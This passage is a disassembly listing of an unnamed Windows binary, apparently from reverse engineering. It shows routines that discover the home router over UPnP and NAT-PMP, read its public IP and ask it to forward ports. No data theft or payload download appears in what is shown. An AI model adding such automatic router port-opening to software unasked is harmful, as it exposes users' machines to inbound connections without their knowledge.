		inc	ebx


loc_443A0A:				; CODE XREF: sub_443817+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A14
		cmp	al, 20h
		jnz	short loc_443A09


loc_443A14:				; CODE XREF: sub_443817+1F7j
		jmp	short loc_443A17
; ---------------------------------------------------------------------------


loc_443A16:				; CODE XREF: sub_443817+208j
		inc	ebx


loc_443A17:				; CODE XREF: sub_443817:loc_443A14j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A21
		cmp	al, 20h
		jz	short loc_443A16


loc_443A21:				; CODE XREF: sub_443817+204j
		xor	esi, esi
		jmp	short loc_443A35
; ---------------------------------------------------------------------------


loc_443A25:				; CODE XREF: sub_443817+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_443A43
; ---------------------------------------------------------------------------


loc_443A35:				; CODE XREF: sub_443817+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A43
		cmp	al, 30h
		jl	short loc_443A43
		cmp	al, 39h
		jle	short loc_443A25


loc_443A43:				; CODE XREF: sub_443817+21Cj
					; sub_443817+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_4481E1
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_443A72
		push	[ebp+var_8]
		call	sub_441FF7
		pop	ecx
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	short loc_443A7C
; ---------------------------------------------------------------------------


loc_443A72:				; CODE XREF: sub_443817+245j
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		inc	eax


loc_443A7C:				; CODE XREF: sub_443817+C6j
					; sub_443817+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A83	proc near		; CODE XREF: DMN1:00444557p
					; DMN1:00445A38p

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
		cmp	[ebp+arg_0], 0
		jnz	short loc_443AAC
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_443AAC:				; CODE XREF: sub_443A83+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_447C89	; inet_addr
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_447C59	; htons
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_447C3B	; socket
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_447C89	; inet_addr
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C41	; setsockopt
		test	eax, eax
		jge	short loc_443B4D
		push	offset aShit	; "shit!\n"
		call	sub_4481E1
		pop	ecx


loc_443B4D:				; CODE XREF: sub_443A83+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C65	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_444003
		push	offset aXbind___ ; "xbind...\n"
		call	sub_4481E1
		pop	ecx
		jmp	loc_444003
; ---------------------------------------------------------------------------


loc_443B86:				; CODE XREF: sub_443A83+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_4485D1
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447CA7	; sendto
		test	eax, eax
		jge	short loc_443BE1
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_44401E
; ---------------------------------------------------------------------------


loc_443BE1:				; CODE XREF: sub_443A83+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C41	; setsockopt
		test	eax, eax
		jge	short loc_443C29
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_44401E
; ---------------------------------------------------------------------------


loc_443C29:				; CODE XREF: sub_443A83+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447CAD	; recvfrom
		test	eax, eax
		jge	short loc_443C93
		call	sub_447CB3	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_443C80
		cmp	[ebp+var_404], 3
		jnz	loc_443FFD


loc_443C80:				; CODE XREF: sub_443A83+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_44401E
; ---------------------------------------------------------------------------


loc_443C93:				; CODE XREF: sub_443A83+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_443492
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_443CE1
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443CE1:				; CODE XREF: sub_443A83+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_443D12
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443D11:				; CODE XREF: sub_443A83+297j
		inc	ebx


loc_443D12:				; CODE XREF: sub_443A83+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443D1C
		cmp	al, 3Ah
		jnz	short loc_443D11


loc_443D1C:				; CODE XREF: sub_443A83+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_443D25
		inc	ebx
		jmp	short loc_443D25
; ---------------------------------------------------------------------------


loc_443D24:				; CODE XREF: sub_443A83+2AAj
		inc	ebx


loc_443D25:				; CODE XREF: sub_443A83+29Cj
					; sub_443A83+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_443D2F
		cmp	al, 20h
		jz	short loc_443D24


loc_443D2F:				; CODE XREF: sub_443A83+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_443D4E
; ---------------------------------------------------------------------------


loc_443D3D:				; CODE XREF: sub_443A83+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_443D4E:				; CODE XREF: sub_443A83+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443D58
		cmp	al, 20h
		jg	short loc_443D3D


loc_443D58:				; CODE XREF: sub_443A83+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4485D1
		pop	ecx
		test	eax, eax
		jnz	short loc_443D89
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443D89:				; CODE XREF: sub_443A83+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_44352A
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_443DE3
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_4481E1
		pop	ecx
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443DE3:				; CODE XREF: sub_443A83+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_443E10
		push	[ebp+var_183C]
		call	sub_441FF7
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443E10:				; CODE XREF: sub_443A83+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_443E1C:				; CODE XREF: sub_443A83+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_443E40
		cmp	eax, [ebp+var_1830]
		jbe	short loc_443E42


loc_443E40:				; CODE XREF: sub_443A83+3B3j
		jmp	short loc_443E50
; ---------------------------------------------------------------------------


loc_443E42:				; CODE XREF: sub_443A83+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_443E1C
; ---------------------------------------------------------------------------


loc_443E50:				; CODE XREF: sub_443A83:loc_443E40j
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_443E7D
		push	[ebp+var_183C]
		call	sub_441FF7
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443E7D:				; CODE XREF: sub_443A83+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_443E9D
		cmp	esi, [ebp+var_1888]
		jb	short loc_443EAE


loc_443E9D:				; CODE XREF: sub_443A83+410j
		push	[ebp+var_183C]
		call	sub_441FF7
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443EAE:				; CODE XREF: sub_443A83+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		jmp	short loc_443EC7
; ---------------------------------------------------------------------------


loc_443EC6:				; CODE XREF: sub_443A83+44Cj
		inc	esi


loc_443EC7:				; CODE XREF: sub_443A83+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_443ED1
		cmp	al, 3Eh
		jnz	short loc_443EC6


loc_443ED1:				; CODE XREF: sub_443A83+448j
		cmp	byte ptr [esi],	0
		jz	short loc_443ED7
		inc	esi


loc_443ED7:				; CODE XREF: sub_443A83+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_443EED
		push	[ebp+var_183C]
		call	sub_441FF7
		pop	ecx
		jmp	loc_443FFD
; ---------------------------------------------------------------------------


loc_443EED:				; CODE XREF: sub_443A83+457j
		and	[ebp+var_1838],	0
		jmp	short loc_443F0C
; ---------------------------------------------------------------------------


loc_443EF6:				; CODE XREF: sub_443A83+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_443F0C:				; CODE XREF: sub_443A83+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_443F16
		cmp	al, 3Ch
		jnz	short loc_443EF6


loc_443F16:				; CODE XREF: sub_443A83+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_443F46
		lea	edi, [ebp+var_400]
		jmp	short loc_443F76
; ---------------------------------------------------------------------------


loc_443F45:				; CODE XREF: sub_443A83+4CBj
		inc	edi


loc_443F46:				; CODE XREF: sub_443A83+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_443F50
		cmp	al, 3Ah
		jnz	short loc_443F45


loc_443F50:				; CODE XREF: sub_443A83+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_443F59
		inc	edi
		jmp	short loc_443F59
; ---------------------------------------------------------------------------


loc_443F58:				; CODE XREF: sub_443A83+4DEj
		inc	edi


loc_443F59:				; CODE XREF: sub_443A83+4D0j
					; sub_443A83+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_443F63
		cmp	al, 2Fh
		jz	short loc_443F58


loc_443F63:				; CODE XREF: sub_443A83+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_443F6C
		inc	edi
		jmp	short loc_443F6C
; ---------------------------------------------------------------------------


loc_443F6B:				; CODE XREF: sub_443A83+4F1j
		inc	edi


loc_443F6C:				; CODE XREF: sub_443A83+4E3j
					; sub_443A83+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_443F76
		cmp	al, 2Fh
		jnz	short loc_443F6B


loc_443F76:				; CODE XREF: sub_443A83+4C0j
					; sub_443A83+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_443817
		add	esp, 18h
		test	eax, eax
		jnz	short loc_443FDA
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_443817
		add	esp, 18h
		test	eax, eax
		jnz	short loc_443FDA
		push	[ebp+var_183C]
		call	sub_441FF7
		pop	ecx
		jmp	short loc_443FFD
; ---------------------------------------------------------------------------


loc_443FDA:				; CODE XREF: sub_443A83+519j
					; sub_443A83+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C47	; closesocket
		xor	eax, eax
		inc	eax
		jmp	short loc_44401E
; ---------------------------------------------------------------------------


loc_443FFD:				; CODE XREF: sub_443A83+1F7j
					; sub_443A83+259j ...
		inc	[ebp+var_404]


loc_444003:				; CODE XREF: sub_443A83+EDj
					; sub_443A83+FEj
		cmp	[ebp+var_404], 3
		jl	loc_443B86
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_447C47	; closesocket
		xor	eax, eax


loc_44401E:				; CODE XREF: sub_443A83+159j
					; sub_443A83+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443A83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444025	proc near		; CODE XREF: sub_444094+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_441FC9
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44408E
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_447CB9	; GetIpForwardTable
		cmp	eax, 7Ah
		jnz	short loc_444069
		push	ebx
		call	sub_441FF7
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_441FC9
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44408E


loc_444069:				; CODE XREF: sub_444025+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_447CB9	; GetIpForwardTable
		test	eax, eax
		jnz	short loc_444085
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_444085
		mov	esi, [ebx+10h]


loc_444085:				; CODE XREF: sub_444025+52j
					; sub_444025+5Bj
		push	ebx
		call	sub_441FF7
		pop	ecx
		mov	eax, esi


loc_44408E:				; CODE XREF: sub_444025+1Aj
					; sub_444025+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444094	proc near		; CODE XREF: DMN1:00444502p
					; DMN1:004459DDp

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_444025
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_44429C
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_447C59	; htons
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_447C3B	; socket
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_447C59	; htons
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_447C65	; bind
		jmp	loc_44428B
; ---------------------------------------------------------------------------


loc_44415F:				; CODE XREF: sub_444094+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_447CA7	; sendto
		test	eax, eax
		jge	short loc_4441A6
		push	esi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_44429C
; ---------------------------------------------------------------------------


loc_4441A6:				; CODE XREF: sub_444094+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_447C41	; setsockopt
		test	eax, eax
		jge	short loc_4441DD
		push	esi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_44429C
; ---------------------------------------------------------------------------


loc_4441DD:				; CODE XREF: sub_444094+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_447CAD	; recvfrom
		test	eax, eax
		jge	short loc_444225
		call	sub_447CB3	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_44421B
		cmp	ebx, 9
		jnz	short loc_444284


loc_44421B:				; CODE XREF: sub_444094+180j
		push	esi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	short loc_44429C
; ---------------------------------------------------------------------------


loc_444225:				; CODE XREF: sub_444094+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_444284
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_4481E1
		add	esp, 0Ch
		push	esi
		call	sub_447C47	; closesocket
		mov	eax, [ebp+var_84]
		jmp	short loc_44429C
; ---------------------------------------------------------------------------


loc_444284:				; CODE XREF: sub_444094+185j
					; sub_444094+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_44428B:				; CODE XREF: sub_444094+C6j
		cmp	ebx, 0Ah
		jl	loc_44415F
		push	esi
		call	sub_447C47	; closesocket
		xor	eax, eax


loc_44429C:				; CODE XREF: sub_444094+23j
					; sub_444094+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4442A3	proc near		; CODE XREF: DMN1:0044451Ep
					; DMN1:004459F8p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_447C59	; htons
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_447C3B	; socket
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_447C59	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_447C65	; bind
		jmp	loc_4444D3
; ---------------------------------------------------------------------------


loc_44435D:				; CODE XREF: sub_4442A3+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_447C59	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_447C59	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_447CA7	; sendto
		test	eax, eax
		jge	short loc_4443DC
		push	edi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_4444E4
; ---------------------------------------------------------------------------


loc_4443DC:				; CODE XREF: sub_4442A3+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_447C41	; setsockopt
		test	eax, eax
		jge	short loc_444413
		push	edi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_4444E4
; ---------------------------------------------------------------------------


loc_444413:				; CODE XREF: sub_4442A3+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_447CAD	; recvfrom
		test	eax, eax
		jge	short loc_44445E
		call	sub_447CB3	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_444451
		cmp	esi, 9
		jnz	short loc_4444CC


loc_444451:				; CODE XREF: sub_4442A3+1A7j
		push	edi
		call	sub_447C47	; closesocket
		xor	eax, eax
		jmp	loc_4444E4
; ---------------------------------------------------------------------------


loc_44445E:				; CODE XREF: sub_4442A3+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_4444CC
		cmp	[ebp+var_7F], 82h
		jnz	short loc_4444CC
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_4444CC
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_447C59	; htons
		cmp	[ebx], ax
		jnz	short loc_4444CC
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_447C77	; htons
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_4481E1
		add	esp, 0Ch
		push	edi
		call	sub_447C47	; closesocket
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_447C59	; htons
		movzx	eax, ax
		jmp	short loc_4444E4
; ---------------------------------------------------------------------------


loc_4444CC:				; CODE XREF: sub_4442A3+1ACj
					; sub_4442A3+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_4444D3:				; CODE XREF: sub_4442A3+B5j
		cmp	esi, 0Ah
		jl	loc_44435D
		push	edi
		call	sub_447C47	; closesocket
		xor	eax, eax


loc_4444E4:				; CODE XREF: sub_4442A3+134j
					; sub_4442A3+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
